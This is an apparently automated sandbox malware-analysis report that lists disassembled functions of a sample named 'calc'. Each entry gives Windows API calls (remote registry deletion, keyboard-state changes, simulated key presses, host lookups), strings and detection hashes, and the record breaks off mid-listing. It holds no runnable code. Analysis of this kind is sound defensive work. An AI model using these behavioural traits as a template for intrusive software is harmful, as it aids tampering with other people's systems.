      • String ID:
      • API String ID: 1773772771-0
      • Opcode ID: 5e9390607b8d6ee7dbe0a8de45b835bdea254fc27890864218f4d5506f896f99
      • Instruction ID: 7feb89906a43771ec33674e053c7b17ab4a961398231c0e5b273a939fe000d16
      • Opcode Fuzzy Hash: 5e9390607b8d6ee7dbe0a8de45b835bdea254fc27890864218f4d5506f896f99
      • Instruction Fuzzy Hash: 45B1B131908209EFDF22DF54EC84BAE7BB6AF45346F24012BFC11A6252D7398D49CB59
      Function 00450BDA Relevance: 13.7, APIs: 9, Instructions: 196COMMON
      Download Yara Rule
      APIs
      • LCMapStringW.KERNEL32(00000000,00000100,00462758,00000001,00000000,00000000,0045BA70,00000024,0044B575,00000000,00000100,00000100,00000001,?,00000001,?), ref: 00450C01
      • GetLastError.KERNEL32(?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450C13
      • LCMapStringW.KERNEL32(?,00000100,004014B8,?,?,?,0045BA70,00000024,0044B575,00000000,00000100,00000100,00000001,?,00000001,?), ref: 00450C65
      • WideCharToMultiByte.KERNEL32(?,00000000,004014B8,?,00000000,00000000,00000000,00000000,0045BA70,00000024,0044B575,00000000,00000100,00000100,00000001,?), ref: 00450CC0
      • WideCharToMultiByte.KERNEL32(?,00000000,004014B8,?,?,?,00000000,00000000,?,004490FC,?,00000000,0047BCF4,?,?), ref: 00450D32
      • LCMapStringA.KERNEL32(?,00000100,?,?,00000000,00000000,?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450D4E
      • LCMapStringA.KERNEL32(?,00000100,?,?,?,00000000,?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450DBA
      • _strncpy.LIBCMT ref: 00450DDF
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: String$ByteCharMultiWide$ErrorLast_strncpy
      • String ID:
      • API String ID: 4089183155-0
      • Opcode ID: 40a5b97051f9a430940baf8ab6787554342598d741c4b39d97eebf3e28cbabf3
      • Instruction ID: 87915a71c5da1ed2875a20551b42c726cebfd4ef946e7aa7ce96f893867ce171
      • Opcode Fuzzy Hash: 40a5b97051f9a430940baf8ab6787554342598d741c4b39d97eebf3e28cbabf3
      • Instruction Fuzzy Hash: BF71B17580020AEFCF119FA4CC859EF7BB5FF09316F24462AF921A2262C7388D55DB59
      Function 0043CB9B Relevance: 13.6, APIs: 9, Instructions: 70fileCOMMON
      Download Yara Rule
      APIs
      • GetFileType.KERNEL32(000000FF,000000FF,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CBAB
      • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CBC2
      • ReadFile.KERNEL32(000000FF,000000FF,?,?,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A), ref: 0043CBDC
      • GetLastError.KERNEL32(?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?,00000000,00000000), ref: 0043CBE6
      • SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CBF5
      • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CC01
      • SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CC0D
      • SetLastError.KERNEL32(00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?,00000000,00000000), ref: 0043CC18
      • SetLastError.KERNEL32(00000006,000000FF,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CC25
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: File$Pointer$ErrorLast$ReadType
      • String ID:
      • API String ID: 74101062-0
      • Opcode ID: a69c8df32c0e20c753d7404060deeb2171b2dec1cf91e1f050b34e5e6fe33c2c
      • Instruction ID: ecafed72938480ac762a22eb363c2c95b40075f44803c8607e6e5373edb57986
      • Opcode Fuzzy Hash: a69c8df32c0e20c753d7404060deeb2171b2dec1cf91e1f050b34e5e6fe33c2c
      • Instruction Fuzzy Hash: 64115872900209FFEB019FA09DC8C7F7B7DEB48395F106466F505A2250C7349D11DBA5
      Function 00401DB3 Relevance: 13.6, APIs: 9, Instructions: 64sleepkeyboardwindowCOMMON
      Download Yara Rule
      APIs
      • MapVirtualKeyW.USER32(00000025,00000000), ref: 00401DD7
      • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00401DF5
      • Sleep.KERNEL32(00000000,?,0043FF5E,00000001,TABRIGHT,TABLEFT,ISENABLED,ISVISIBLE), ref: 00401DF8
      • MapVirtualKeyW.USER32(00000025,00000000), ref: 00401E01
      • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00401E39
      • Sleep.KERNEL32(00000000,?,0043FF5E,00000001,TABRIGHT,TABLEFT,ISENABLED,ISVISIBLE), ref: 00401E3C
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessagePostSleepVirtual
      • String ID:
      • API String ID: 660143448-0
      • Opcode ID: c5f8dfd490d2f8feaa47010e345f7e16d08157c92134579223c2cf7de968ed32
      • Instruction ID: 314088039eba6aec791dc48b178ba8ec29ead1ba01d9ff949e3fc8231b8fac0c
      • Opcode Fuzzy Hash: c5f8dfd490d2f8feaa47010e345f7e16d08157c92134579223c2cf7de968ed32
      • Instruction Fuzzy Hash: C8019631140608BFF6216F51CC49FAB7A5DDF45786F110829F790A50E2C9FAAC91997C
      Function 00411A14 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 343COMMON
      Download Yara Rule
      APIs
      • _strlen.LIBCMT ref: 00411A34
      • _strlen.LIBCMT ref: 00411A46
      • VkKeyScanA.USER32(00000000), ref: 00411AE3
      • VkKeyScanA.USER32(00000000), ref: 00411B96
        • Part of subcall function 00410DF3: VkKeyScanA.USER32(?), ref: 00410DFB
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Scan$_strlen
      • String ID: 0%d$down$off
      • API String ID: 1220333230-2112978555
      • Opcode ID: 4ef5677da4f412f11d5513374e1eeaf6012140df0c25a9a5df50ec0de7af25da
      • Instruction ID: e69c97ce56cf479a7f09eb9e4295095d95da97d2fa2f27f976221b7850857607
      • Opcode Fuzzy Hash: 4ef5677da4f412f11d5513374e1eeaf6012140df0c25a9a5df50ec0de7af25da
      • Instruction Fuzzy Hash: 11C14930A44245AEEF20CF55C845FEB7B74DF41308F24405BEA419B2A2E67C9DC6C799
      Function 0040FFA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 177COMMON
      Download Yara Rule
      Strings
      • Error opening the file, xrefs: 0041000D
      • Unterminated string, xrefs: 004101AD
      • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0040FFC5
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: HandleLoadModuleString
      • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string
      • API String ID: 3590730445-3232779785
      • Opcode ID: f883dc1264e64bc73bfa17d63d9b0fdb745af918d1e7d9c0c24b9034dd7eab45
      • Instruction ID: 77393d9a191bb7f7478c373efea1c4ed925f04e9ca4268ec523b6ef09f5006fe
      • Opcode Fuzzy Hash: f883dc1264e64bc73bfa17d63d9b0fdb745af918d1e7d9c0c24b9034dd7eab45
      • Instruction Fuzzy Hash: 95616F7280421DBEEF21DBA0CC45FDE7B78AF05308F0440ABF905A2152DB7D9AC98B59
      Function 00414C46 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 171COMMON
      Download Yara Rule
      APIs
      • 751C1560.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?,?,?), ref: 00414CDA
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: C1560
      • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
      • API String ID: 478399714-1459072770
      • Opcode ID: 86428efb9b3e8ac43dcb9c24adbf7a51f161da3ec63f6392ab646084e21f9d3d
      • Instruction ID: b540cfc319d4a38a51c032714b70e1d9c6a701d3d0a690d825f71a9fdec0b216
      • Opcode Fuzzy Hash: 86428efb9b3e8ac43dcb9c24adbf7a51f161da3ec63f6392ab646084e21f9d3d
      • Instruction Fuzzy Hash: 6E41D571900205BAFF25BB619C82DFF776CEF41728B10006FFC05A6182EB3D9E05A669
      Function 004133AD Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 123windowCOMMON
      Download Yara Rule
      APIs
      • GetMenuItemInfoW.USER32(?,000000FF,00000000,0000002C), ref: 00413437
      • IsMenu.USER32(00000000), ref: 0041344D
      • CreatePopupMenu.USER32 ref: 00413489
      • GetMenuItemCount.USER32(?), ref: 004134E2
      • InsertMenuItemW.USER32(00000000,000000F5,00000001,0000002C), ref: 00413509
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Menu$Item$CountCreateInfoInsertPopup
      • String ID: ,$2
      • API String ID: 93392585-4146714288
      • Opcode ID: 96b5094224ff491608ca524e3ef8238d77196a8e218a0bed69d208cc94b3b17b
      • Instruction ID: a783e2e86e23b152b86a37afb85d67028e09b8e793856ccb80c6acdd71082a21
      • Opcode Fuzzy Hash: 96b5094224ff491608ca524e3ef8238d77196a8e218a0bed69d208cc94b3b17b
      • Instruction Fuzzy Hash: DF41A370900209DBDF21CF68C8847EEBBF5AF4471AF18856AE855A7391D3789A80CB59
      Function 0041FCD4 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 116windowCOMMON
      Download Yara Rule
      APIs
      • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0041FD29
      • LoadStringW.USER32(?,?,00000FFF), ref: 0041FD3C
      • MessageBoxW.USER32(?,?,00011010), ref: 0041FE42
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: LoadString$Message
      • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:
      • API String ID: 2278601591-4162891365
      • Opcode ID: bf556b6b28b6e5c7f2e0e05ef1a1792f4beb60635d7a19190b26143e58addd44
      • Instruction ID: ee04281732928d5b98adbc9f49825bd154e7ff119a3da136eabcaa7874e413dc
      • Opcode Fuzzy Hash: bf556b6b28b6e5c7f2e0e05ef1a1792f4beb60635d7a19190b26143e58addd44
      • Instruction Fuzzy Hash: 0841C872D00218AADF21ABA5CC45FDE77ACAF05308F0040B7F908E6152E67D9E89DB5D
      Function 004159F1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
      • String ID: 0.0.0.0
      • API String ID: 642191829-3771769585
      • Opcode ID: 1fe1fc4897be211978021beebcb1c8ce92a4e8963263964988dd7897a44ed26f
      • Instruction ID: d3789d6f31b40d2e731d2683e6b01f7d561f7210baffac271eff7e217f67039d
      • Opcode Fuzzy Hash: 1fe1fc4897be211978021beebcb1c8ce92a4e8963263964988dd7897a44ed26f
      • Instruction Fuzzy Hash: 3711E971940118BBFF11BA75CC86EDA33AC9F40368F1401A7B905A6182EA7C9FC59A9D
      Function 00412B78 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 68windowCOMMON
      Download Yara Rule
      APIs
      • LoadIconW.USER32(00000000,00007F03), ref: 00412BC0
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: IconLoad
      • String ID: blank$info$question$stop$warning
      • API String ID: 2457776203-404129466
      • Opcode ID: 1dab5a4c37849c9e9609932a94803abe9922b88540791e85f48b547d4dd9970f
      • Instruction ID: 03b6517efc2aea6fd5e6d95e9b9689b5489a5d42b1b8a25ecbfe9ccecd26a511
      • Opcode Fuzzy Hash: 1dab5a4c37849c9e9609932a94803abe9922b88540791e85f48b547d4dd9970f
      • Instruction Fuzzy Hash: 4C11C63164C305BAFA165E519E02DEF63A8DF1472DB20005BFD02E11C2FAEDBA91519D
      Function 00455946 Relevance: 12.2, APIs: 8, Instructions: 177COMMON
      Download Yara Rule
      APIs
      • GetCPInfo.KERNEL32(?,?,0045C3C8,00000044,00453D57,?,00000000,?,?,00000000,00000000,0045C138,0000001C,0044EC56,00000001,?), ref: 0045598F
      • GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00455939,?), ref: 004559A6
      • _strlen.LIBCMT ref: 004559CA
      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,?,?,?,?,00000001,00000000,00455939), ref: 004559EB
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Info$ByteCharMultiWide_strlen
      • String ID:
      • API String ID: 1335377746-0
      • Opcode ID: d8d7e3d94369847d7cc9e647fb3da14105b350b1777ffda7a6d4c73ed2825514
      • Instruction ID: 790e399b39677daab9e77fb99c5e02dc5982c928aa711800bb143dd447e7e016
      • Opcode Fuzzy Hash: d8d7e3d94369847d7cc9e647fb3da14105b350b1777ffda7a6d4c73ed2825514
      • Instruction Fuzzy Hash: CC519E70901A18EFDF20DF95DCD89AFBBB9EF45322F20421AF815A6292D7385C45CB58
      Function 0043C20B Relevance: 12.2, APIs: 8, Instructions: 171registryCOMMON
      Download Yara Rule
      APIs
      • RegConnectRegistryW.ADVAPI32(?,00000000,00000000), ref: 0043C2B4
      • RegOpenKeyExW.ADVAPI32(00000000,?,00000000,?,00000000), ref: 0043C2F2
      • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0043C31D
      • RegDeleteValueW.ADVAPI32(00000000,00000000), ref: 0043C355
      • RegCloseKey.ADVAPI32(00000000), ref: 0043C37E
      • RegCloseKey.ADVAPI32(00000000,00000002,00000000), ref: 0043C3C4
        • Part of subcall function 0043C147: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 0043C178
      • RegCloseKey.ADVAPI32(00000000), ref: 0043C390
      • RegDeleteKeyW.ADVAPI32(00000000,?), ref: 0043C39A
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Close$Delete$ConnectEnumOpenRegistryValue
      • String ID:
      • API String ID: 4081530528-0
      • Opcode ID: fda0f22d2eda36e186a15a606b6a87005c4d9a9ed66a4535723ec2fc8b9d9f5a
      • Instruction ID: e232bde8f73a62d7fa102d6d414556a0cb7fee49fb5508a77672693c226a2e41
      • Opcode Fuzzy Hash: fda0f22d2eda36e186a15a606b6a87005c4d9a9ed66a4535723ec2fc8b9d9f5a
      • Instruction Fuzzy Hash: F9516F32900118EBCF10EFA5DC85AEE7774AF08314F14805AF805BB191DB39EE45DBA8
      Function 004115E2 Relevance: 12.2, APIs: 8, Instructions: 170windowCOMMON
      Download Yara Rule
      APIs
      • GetParent.USER32(?), ref: 00411608
      • GetKeyboardState.USER32(?), ref: 0041161D
      • PostMessageW.USER32(?,00000101,00000012,?), ref: 0041167B
      • PostMessageW.USER32(?,00000101,00000011,?), ref: 004116A1
      • PostMessageW.USER32(?,00000101,00000010,?), ref: 004116C7
      • PostMessageW.USER32(?,00000101,00000010,?), ref: 004116ED
      • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00411713
      • SetKeyboardState.USER32(?), ref: 0041175D
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessagePost$KeyboardState$Parent
      • String ID:
      • API String ID: 87235514-0
      • Opcode ID: aa6c97a283ce8bd674bd44b473ae256e80a0dc0e0aab8d9900478a21e71fb197
      • Instruction ID: 9d733bec55df1b0aa4eacf9c07561fd85a6c8c2a14a1c19906ee9494bf923349
      • Opcode Fuzzy Hash: aa6c97a283ce8bd674bd44b473ae256e80a0dc0e0aab8d9900478a21e71fb197
      • Instruction Fuzzy Hash: 8E51E8305147986AEB318B78CC45BEF7FE49F45340F08445AFAE8CA292C6B9D9C1DB58
      Function 004113CC Relevance: 12.2, APIs: 8, Instructions: 169windowCOMMON
      Download Yara Rule
      APIs
      • GetParent.USER32(?), ref: 004113F4
      • GetKeyboardState.USER32(?,?,00000000), ref: 00411409
